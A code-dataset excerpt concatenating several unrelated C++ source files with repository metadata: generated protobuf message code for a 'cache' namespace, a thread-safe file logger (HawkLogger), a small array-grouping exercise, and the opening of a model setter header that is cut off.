PROTOBUF_FIELD_OFFSET(DFA, initial_)
+ sizeof(DFA::initial_)
- PROTOBUF_FIELD_OFFSET(DFA, states_)>(
reinterpret_cast<char*>(&states_),
reinterpret_cast<char*>(&other->states_));
}
::PROTOBUF_NAMESPACE_ID::Metadata DFA::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
class Pair::_Internal {
public:
using HasBits = decltype(std::declval<Pair>()._has_bits_);
static void set_has_key(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
static void set_has_value(HasBits* has_bits) {
(*has_bits)[0] |= 2u;
}
static bool MissingRequiredFields(const HasBits& has_bits) {
return ((has_bits[0] & 0x00000003) ^ 0x00000003) != 0;
}
};
Pair::Pair(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.Pair)
}
Pair::Pair(const Pair& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::memcpy(&key_, &from.key_,
static_cast<size_t>(reinterpret_cast<char*>(&value_) -
reinterpret_cast<char*>(&key_)) + sizeof(value_));
// @@protoc_insertion_point(copy_constructor:cache.Pair)
}
void Pair::SharedCtor() {
::memset(reinterpret_cast<char*>(this) + static_cast<size_t>(
reinterpret_cast<char*>(&key_) - reinterpret_cast<char*>(this)),
0, static_cast<size_t>(reinterpret_cast<char*>(&value_) -
reinterpret_cast<char*>(&key_)) + sizeof(value_));
}
Pair::~Pair() {
// @@protoc_insertion_point(destructor:cache.Pair)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void Pair::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
}
void Pair::ArenaDtor(void* object) {
Pair* _this = reinterpret_cast< Pair* >(object);
(void)_this;
}
void Pair::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void Pair::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const Pair& Pair::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_Pair_Cache_2eproto.base);
return *internal_default_instance();
}
void Pair::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.Pair)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000003u) {
::memset(&key_, 0, static_cast<size_t>(
reinterpret_cast<char*>(&value_) -
reinterpret_cast<char*>(&key_)) + sizeof(value_));
}
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* Pair::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// required uint32 key = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 8)) {
_Internal::set_has_key(&has_bits);
key_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// required uint32 value = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 16)) {
_Internal::set_has_value(&has_bits);
value_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* Pair::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.Pair)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// required uint32 key = 1;
if (cached_has_bits & 0x00000001u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(1, this->_internal_key(), target);
}
// required uint32 value = 2;
if (cached_has_bits & 0x00000002u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(2, this->_internal_value(), target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.Pair)
return target;
}
size_t Pair::RequiredFieldsByteSizeFallback() const {
// @@protoc_insertion_point(required_fields_byte_size_fallback_start:cache.Pair)
size_t total_size = 0;
if (_internal_has_key()) {
// required uint32 key = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_key());
}
if (_internal_has_value()) {
// required uint32 value = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_value());
}
return total_size;
}
size_t Pair::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.Pair)
size_t total_size = 0;
if (((_has_bits_[0] & 0x00000003) ^ 0x00000003) == 0) { // All required fields are present.
// required uint32 key = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_key());
// required uint32 value = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt32Size(
this->_internal_value());
} else {
total_size += RequiredFieldsByteSizeFallback();
}
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void Pair::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.Pair)
GOOGLE_DCHECK_NE(&from, this);
const Pair* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<Pair>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.Pair)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.Pair)
MergeFrom(*source);
}
}
void Pair::MergeFrom(const Pair& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.Pair)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = from._has_bits_[0];
if (cached_has_bits & 0x00000003u) {
if (cached_has_bits & 0x00000001u) {
key_ = from.key_;
}
if (cached_has_bits & 0x00000002u) {
value_ = from.value_;
}
_has_bits_[0] |= cached_has_bits;
}
}
void Pair::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.Pair)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void Pair::CopyFrom(const Pair& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.Pair)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool Pair::IsInitialized() const {
if (_Internal::MissingRequiredFields(_has_bits_)) return false;
return true;
}
void Pair::InternalSwap(Pair* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
::PROTOBUF_NAMESPACE_ID::internal::memswap<
PROTOBUF_FIELD_OFFSET(Pair, value_)
+ sizeof(Pair::value_)
- PROTOBUF_FIELD_OFFSET(Pair, key_)>(
reinterpret_cast<char*>(&key_),
reinterpret_cast<char*>(&other->key_));
}
::PROTOBUF_NAMESPACE_ID::Metadata Pair::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
class V_2D::_Internal {
public:
};
V_2D::V_2D(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena),
array_(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.V_2D)
}
V_2D::V_2D(const V_2D& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
array_(from.array_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
// @@protoc_insertion_point(copy_constructor:cache.V_2D)
}
void V_2D::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_V_2D_Cache_2eproto.base);
}
V_2D::~V_2D() {
// @@protoc_insertion_point(destructor:cache.V_2D)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void V_2D::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
}
void V_2D::ArenaDtor(void* object) {
V_2D* _this = reinterpret_cast< V_2D* >(object);
(void)_this;
}
void V_2D::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void V_2D::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const V_2D& V_2D::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_V_2D_Cache_2eproto.base);
return *internal_default_instance();
}
void V_2D::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.V_2D)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
array_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* V_2D::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// repeated .cache.V_1D array = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) {
ptr -= 1;
do {
ptr += 1;
ptr = ctx->ParseMessage(_internal_add_array(), ptr);
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<10>(ptr));
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* V_2D::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.V_2D)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
// repeated .cache.V_1D array = 1;
for (unsigned int i = 0,
n = static_cast<unsigned int>(this->_internal_array_size()); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(1, this->_internal_array(i), target, stream);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.V_2D)
return target;
}
size_t V_2D::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.V_2D)
size_t total_size = 0;
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
// repeated .cache.V_1D array = 1;
total_size += 1UL * this->_internal_array_size();
for (const auto& msg : this->array_) {
total_size +=
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(msg);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void V_2D::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.V_2D)
GOOGLE_DCHECK_NE(&from, this);
const V_2D* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<V_2D>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.V_2D)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.V_2D)
MergeFrom(*source);
}
}
void V_2D::MergeFrom(const V_2D& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.V_2D)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
array_.MergeFrom(from.array_);
}
void V_2D::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.V_2D)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void V_2D::CopyFrom(const V_2D& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.V_2D)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool V_2D::IsInitialized() const {
return true;
}
void V_2D::InternalSwap(V_2D* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
array_.InternalSwap(&other->array_);
}
::PROTOBUF_NAMESPACE_ID::Metadata V_2D::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
class V_1D::_Internal {
public:
};
V_1D::V_1D(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena),
item_(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.V_1D)
}
V_1D::V_1D(const V_1D& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
item_(from.item_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
// @@protoc_insertion_point(copy_constructor:cache.V_1D)
}
void V_1D::SharedCtor() {
}
V_1D::~V_1D() {
// @@protoc_insertion_point(destructor:cache.V_1D)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void V_1D::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
}
void V_1D::ArenaDtor(void* object) {
V_1D* _this = reinterpret_cast< V_1D* >(object);
(void)_this;
}
void V_1D::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void V_1D::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const V_1D& V_1D::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_V_1D_Cache_2eproto.base);
return *internal_default_instance();
}
void V_1D::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.V_1D)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
item_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* V_1D::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// repeated int32 item = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 8)) {
ptr -= 1;
do {
ptr += 1;
_internal_add_item(::PROTOBUF_NAMESPACE_ID::internal::ReadVarint64(&ptr));
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<8>(ptr));
} else if (static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10) {
ptr = ::PROTOBUF_NAMESPACE_ID::internal::PackedInt32Parser(_internal_mutable_item(), ptr, ctx);
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* V_1D::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.V_1D)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
// repeated int32 item = 1;
for (int i = 0, n = this->_internal_item_size(); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteInt32ToArray(1, this->_internal_item(i), target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.V_1D)
return target;
}
size_t V_1D::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.V_1D)
size_t total_size = 0;
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
// repeated int32 item = 1;
{
size_t data_size = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
Int32Size(this->item_);
total_size += 1 *
::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(this->_internal_item_size());
total_size += data_size;
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void V_1D::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.V_1D)
GOOGLE_DCHECK_NE(&from, this);
const V_1D* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<V_1D>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.V_1D)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.V_1D)
MergeFrom(*source);
}
}
void V_1D::MergeFrom(const V_1D& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.V_1D)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
item_.MergeFrom(from.item_);
}
void V_1D::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.V_1D)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void V_1D::CopyFrom(const V_1D& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.V_1D)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool V_1D::IsInitialized() const {
return true;
}
void V_1D::InternalSwap(V_1D* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
item_.InternalSwap(&other->item_);
}
::PROTOBUF_NAMESPACE_ID::Metadata V_1D::GetMetadata() const {
return GetMetadataStatic();
}
// @@protoc_insertion_point(namespace_scope)
} // namespace cache
PROTOBUF_NAMESPACE_OPEN
template<> PROTOBUF_NOINLINE ::cache::Matcher* Arena::CreateMaybeMessage< ::cache::Matcher >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::Matcher >(arena);
}
template<> PROTOBUF_NOINLINE ::cache::Token* Arena::CreateMaybeMessage< ::cache::Token >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::Token >(arena);
}
template<> PROTOBUF_NOINLINE ::cache::Regex* Arena::CreateMaybeMessage< ::cache::Regex >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::Regex >(arena);
}
template<> PROTOBUF_NOINLINE ::cache::DFA* Arena::CreateMaybeMessage< ::cache::DFA >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::DFA >(arena);
}
template<> PROTOBUF_NOINLINE ::cache::Pair* Arena::CreateMaybeMessage< ::cache::Pair >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::Pair >(arena);
}
template<> PROTOBUF_NOINLINE ::cache::V_2D* Arena::CreateMaybeMessage< ::cache::V_2D >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::V_2D >(arena);
}
template<> PROTOBUF_NOINLINE ::cache::V_1D* Arena::CreateMaybeMessage< ::cache::V_1D >(Arena* arena) {
return Arena::CreateMessageInternal< ::cache::V_1D >(arena);
}
PROTOBUF_NAMESPACE_CLOSE
// @@protoc_insertion_point(global_scope)
#include <google/protobuf/port_undef.inc>
|
abecd2c4383f07b467969e2a41aca0b1ccaa644c | 8a2fb4d3076f008db245efae540041fc3eace4d6 | /HawkUtil/HawkLogger.cpp | a7109693f8e2320595a0c3bf5d0eff77a437276a | [] | no_license | hawkproject/hawkproject | f536953ef6df199b2b93cee5672fa4a4cca23c36 | e781fd463f24e5a4c54cbd8c2bf34f4d36906ae4 | refs/heads/master | 2021-01-22T09:26:32.063606 | 2014-07-23T10:22:43 | 2014-07-23T10:22:43 | 13,612,604 | 6 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 2,419 | cpp | HawkLogger.cpp | #include "HawkLogger.h"
#include "HawkOSOperator.h"
#include "HawkStringUtil.h"
#include "HawkLoggerManager.h"
namespace Hawk
{
HawkLogger::HawkLogger(const AString& sFile, Bool bAppend)
{
m_pFile = 0;
m_sFileName = sFile;
m_bAppend = bAppend;
m_pMutex = new HawkMutex;
HawkOSOperator::MakeSureFileName(m_sFileName);
}
HawkLogger::~HawkLogger()
{
if (m_pFile)
{
fclose(m_pFile);
m_pFile = 0;
}
HAWK_RELEASE(m_pMutex);
}
AString HawkLogger::GetLogTimeInfo(LogLevel eLevel) const
{
if(m_pFile)
{
tm xTM = HawkOSOperator::GetSysClock();
Char sTmp[128] = {0};
sprintf(sTmp,"[%04d-%02d-%02d %02d-%02d-%02d](%s) : ",
xTM.tm_year + 1900,xTM.tm_mon + 1,xTM.tm_mday,xTM.tm_hour,xTM.tm_min,xTM.tm_sec,GetLogLevelDesc(eLevel).c_str());
return sTmp;
}
return "";
}
AString HawkLogger::GetLogLevelDesc(LogLevel eLevel) const
{
static AString sLvlDesc[] = {"Info","Warn","Error"};
return sLvlDesc[eLevel];
}
void HawkLogger::LogFmtMsg(const Char* pFmt, ...)
{
va_list args;
Char sMsg[LOG_DEFAULT_SIZE + 1] = {0};
va_start(args, pFmt);
_vsnprintf(sMsg, LOG_DEFAULT_SIZE, pFmt, args);
va_end(args);
LogMsg(sMsg,LEVEL_INFO);
}
void HawkLogger::LogFmtErr(const Char* pFmt, ...)
{
va_list args;
Char sErr[LOG_DEFAULT_SIZE + 1] = {0};
va_start(args, pFmt);
_vsnprintf(sErr, LOG_DEFAULT_SIZE, pFmt, args);
va_end(args);
LogMsg(sErr,LEVEL_ERROR);
}
void HawkLogger::LogMsg(const AString& sMsg, LogLevel eLevel)
{
HawkAutoMutex(lock,m_pMutex);
if (!m_pFile && m_sFileName.size())
{
if (HawkOSOperator::ExistFile(m_sFileName) && m_bAppend)
{
Int64 iSize = HawkOSOperator::GetFileSize(m_sFileName);
m_pFile = fopen(m_sFileName.c_str(), "a+b");
if(m_pFile && iSize > 0)
{
fwrite("\r\n", 1, strlen("\r\n"), m_pFile);
}
}
else
{
m_pFile = fopen(m_sFileName.c_str(), "wb");
if(m_pFile)
{
tm xTM = HawkOSOperator::GetSysClock();
Char sTmp[128] = {0};
sprintf(sTmp,"====================HawkLog(CreateTime : %04d-%02d-%02d %02d-%02d-%02d)====================\r\n\r\n",
xTM.tm_year + 1900,xTM.tm_mon + 1,xTM.tm_mday,xTM.tm_hour,xTM.tm_min,xTM.tm_sec);
fwrite(sTmp, 1, strlen(sTmp), m_pFile);
}
}
}
AString sTmp = GetLogTimeInfo(eLevel) + sMsg;
if(m_pFile)
{
fwrite(sTmp.c_str(),1,sTmp.size(),m_pFile);
fflush(m_pFile);
}
}
}
|
325d45aa176b1ba5720b2835bd2a50e44067ca21 | a5978a0c412e0a8b8bf7d4d9cf05a60057566804 | /Group-Elments-Based-On-Their-First-Occurrence.cpp | 80200aad57fa84cd4bc77f617e4f32272dc28de5 | [] | no_license | hemant-45/Coding-Interview-Questions | 65a494f8fc926d467bbf499c7b6e2de24252e603 | f1af95cb5fb832972ff629308934623cebf30a07 | refs/heads/master | 2022-10-03T19:37:35.423346 | 2020-06-07T12:53:12 | 2020-06-07T12:53:12 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 503 | cpp | Group-Elments-Based-On-Their-First-Occurrence.cpp | // Group Elements of an Array based on their First Occurrence
// https://www.techiedelight.com/group-elements-array-based-first-occurrence/
#include<bits/stdc++.h>
using namespace std;
int main(){
int a[] = {1,2,3,1,2,1,3};
int n = sizeof(a) / sizeof(int);
unordered_map <int,int> Map;
for(int i=0;i<n;i++) Map[a[i]]++;
for(int i=0;i<n;i++){
if(Map.find(a[i]) != Map.end()){
int x = Map[a[i]];
while(x--) cout<<a[i]<<" ";
Map.erase(a[i]);
}
}
return 0;
} |
ef764d3c9fc8078021b811879223847e2435f174 | 283b945850fdcc78977995451d51c2c0cea63ffa | /include/model/setter_impl.hh | 2e9eadad033ad63a4e852d1b8698045b46e260e9 | [
"BSD-2-Clause"
] | permissive | adegroote/hyper | fafae29db75afd9293c258b174f3c3865bbef643 | 11b442f4d4a6a8098723652d3711ebd8e8dccf45 | refs/heads/master | 2016-09-05T12:08:58.591421 | 2013-11-19T15:17:22 | 2013-11-19T15:17:22 | 4,157,374 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 2,733 | hh | setter_impl.hh | #ifndef HYPER_MODEL_SETTER_IMPL_HH_
#define HYPER_MODEL_SETTER_IMPL_HH_
#include <model/setter.hh>
#include <model/proxy.hh>
#include <boost/variant/apply_visitor.hpp>
namespace hyper {
namespace model {
namespace setter_details {
template <typename T>
struct proxy {
